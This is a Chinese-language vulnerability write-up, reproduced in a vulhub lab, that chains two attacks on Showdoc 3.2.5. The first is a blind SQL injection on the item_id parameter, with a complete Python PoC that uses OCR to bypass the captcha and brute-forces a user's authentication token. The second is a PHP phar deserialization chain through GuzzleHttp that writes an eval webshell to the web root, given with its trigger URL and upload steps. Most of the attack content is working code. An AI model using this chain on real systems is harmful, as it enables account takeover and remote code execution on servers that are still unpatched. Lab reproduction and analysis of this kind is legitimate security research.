Showdoc3.2.5 从sqlite盲注到RCE完整利用与分析
FYHypo 发表于 四川 漏洞分析 2637浏览 · 2024-06-05 13:54

复现环境:vulhub/showdoc/3.2.5/docker-compose.yml vulhub/vulhub (github.com)

盲注获得user_token过鉴权

根据通告得知/server/index.php?s=/api/item/pwd 路径的 item_id 参数存在拼接执行逻辑,攻击者可利用 sql 注入爆破用户的 user_token

diff一下:

连gpt都能看出来的item_id直接做拼接导致sql注入,现在唯一的问题是有验证码:

验证码可通过接口直接获得


验证码较为简单,可通过ddddocr库识别

使用p神公开的现成注入poc:vulhub/showdoc/3.2.5-sqli/poc.py at master · vulhub/vulhub (github.com)

import argparse  
import ddddocr  
import requests  
import onnxruntime  
from urllib.parse import urljoin  


onnxruntime.set_default_logger_severity(3)  
table = '0123456789abcdef'  
proxies = {'http': 'http://127.0.0.1:8085'}  
ocr = ddddocr.DdddOcr()  
ocr.set_ranges(table)  


class RetryException(Exception):  
    pass  


def retry_when_failed(func):  
    def retry_func(*args, **kwargs):  
        while True:  
            try:  
                return func(*args, **kwargs)  
            except RetryException:  
                continue  
            except Exception as e:  
                raise e  

    return retry_func  


def generate_captcha(base: str):  
    data = requests.get(f"{base}?s=/api/common/createCaptcha").json()  
    captcha_id = data['data']['captcha_id']  

    response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}')  
    data = response.content  
    result = ocr.classification(data)  
    return captcha_id, result  


@retry_when_failed  
def exploit_one(base: str, current: str, ch: str) -> str:  
    captcha_id, captcha_text = generate_captcha(base)  
    data = requests.get(base, params={  
        's': '/api/item/pwd',  
        'page_id': '0',  
        'password': '1',  
        'captcha_id': captcha_id,  
        'captcha': captcha_text,  
        'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "  
    }).json()  

    if data['error_code'] == 0:  
        return ch  
    elif data['error_code'] == 10010:  
        return ''  
    elif data['error_code'] == 10206:  
        raise RetryException()  
    else:  
        print(f'error: {data!r}')  
        raise Exception('unknown exception')  


def main():  
    parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')  
    parser.add_argument('-u', '--url', type=str, required=True)  

    args = parser.parse_args()  
    target = urljoin(args.url, '/server/index.php')  
    res = ''  
    for i in range(64):  
        r = ''  
        for ch in list(table):  
            r = exploit_one(target, res, ch)  
            if r:  
                res += ch  
                break  

        print(f'Current result: {res}')  
        if not r:  
            break  


if __name__ == '__main__':  
    main()

再来看看鉴权方式:

user_token 可直接传入,且几乎所有的功能都是通过这个checkLogin鉴权的,至此我们过了鉴权

前台RCE

分析:

3.2.3的thinkphp,还有composer,考虑第三方依赖打反序列化,一搜还真有GuzzleHttp

直接打现成的链子:

<?php  
namespace GuzzleHttp\Cookie {  
    class CookieJar  
    {  
        private $cookies;  
        public function __construct()  
        {  
            $this->cookies = array(new SetCookie());  
        }  
        private $strictMode;  
    }  
    class FileCookieJar extends CookieJar  
    {  
        private $filename = "/var/www/html/shell.php";  
        private $storeSessionCookies = true;  
    }  
    class SetCookie  
    {  
        private $data = array('Expires' => '<?php eval($_POST[0]);?>');  
    }  
}  
namespace {  
    $phar = new Phar("shell.phar"); //后缀名必须为phar  
    $phar->startBuffering();  
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
    $o = new \GuzzleHttp\Cookie\FileCookieJar();  
    $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest  
    $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件  
    //签名⾃动计算  
    $phar->stopBuffering();  
}

有上传后缀白名单,还需改个jpg后缀

先在本地正常登录的图形化前台走一遍:

访问 /server/index.php?s=/home/index/new_is_writeable&file=phar://../Public/Uploads/2024-06-05/666062ce2b85b.jpg 触发反序列化

模拟拿到user_token后的利用:

直接找文件上传接口

用盲注跑出的user_token构造请求包传上去

0 条评论
某人
表情
可输入 255